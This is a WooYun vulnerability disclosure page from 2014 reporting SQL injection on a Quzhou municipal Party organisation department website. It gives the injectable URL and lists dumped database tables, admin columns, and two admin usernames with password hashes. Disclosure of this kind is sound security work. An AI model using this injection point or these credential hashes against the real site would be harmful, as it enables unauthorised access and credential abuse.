当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-089024

漏洞标题：中共浙江省衢州市委组织部存在SQL注射

相关厂商：cncert国家互联网应急中心

漏洞作者： Yang

提交时间：2014-12-29 18:21

修复时间：2015-01-03 18:22

公开时间：2015-01-03 18:22

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-29： 细节已通知厂商并且等待厂商处理中
2015-01-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

中共浙江省衢州市委组织部

详细说明：

SQL注射点：http://www.qzdj.gov.cn/SmallClass.asp?BName=%B8%C9%B2%BF%D6%AE%B4%B0&BType=0&SName=%D5%FE%B2%DF%B7%A8%B9%E6
参数

1.png


Database: Microsoft_Access_masterdb
[5 tables]
+-------+
| ad    |
| admin |
| log   |
| menu  |
| news  |
+-------+


Table: admin
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | numeric     |
| password | non-numeric |
| username | non-numeric |
+----------+-------------+


Table: admin
[2 entries]
+----+--------------------------------+----------+
| id | password                       | username |
+----+--------------------------------+----------+
| 2  | CCA8F3DD87C9281CCA805028A10A75 | qzdj     |
| 9  | B2F88EDE76D2C877277DE5A81DD975 | ly       |
+----+--------------------------------+----------+

漏洞证明：

1.png


1.png


修复方案：

版权声明：转载请注明来源 Yang@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-03 18:22

厂商回复：

最新状态：

暂无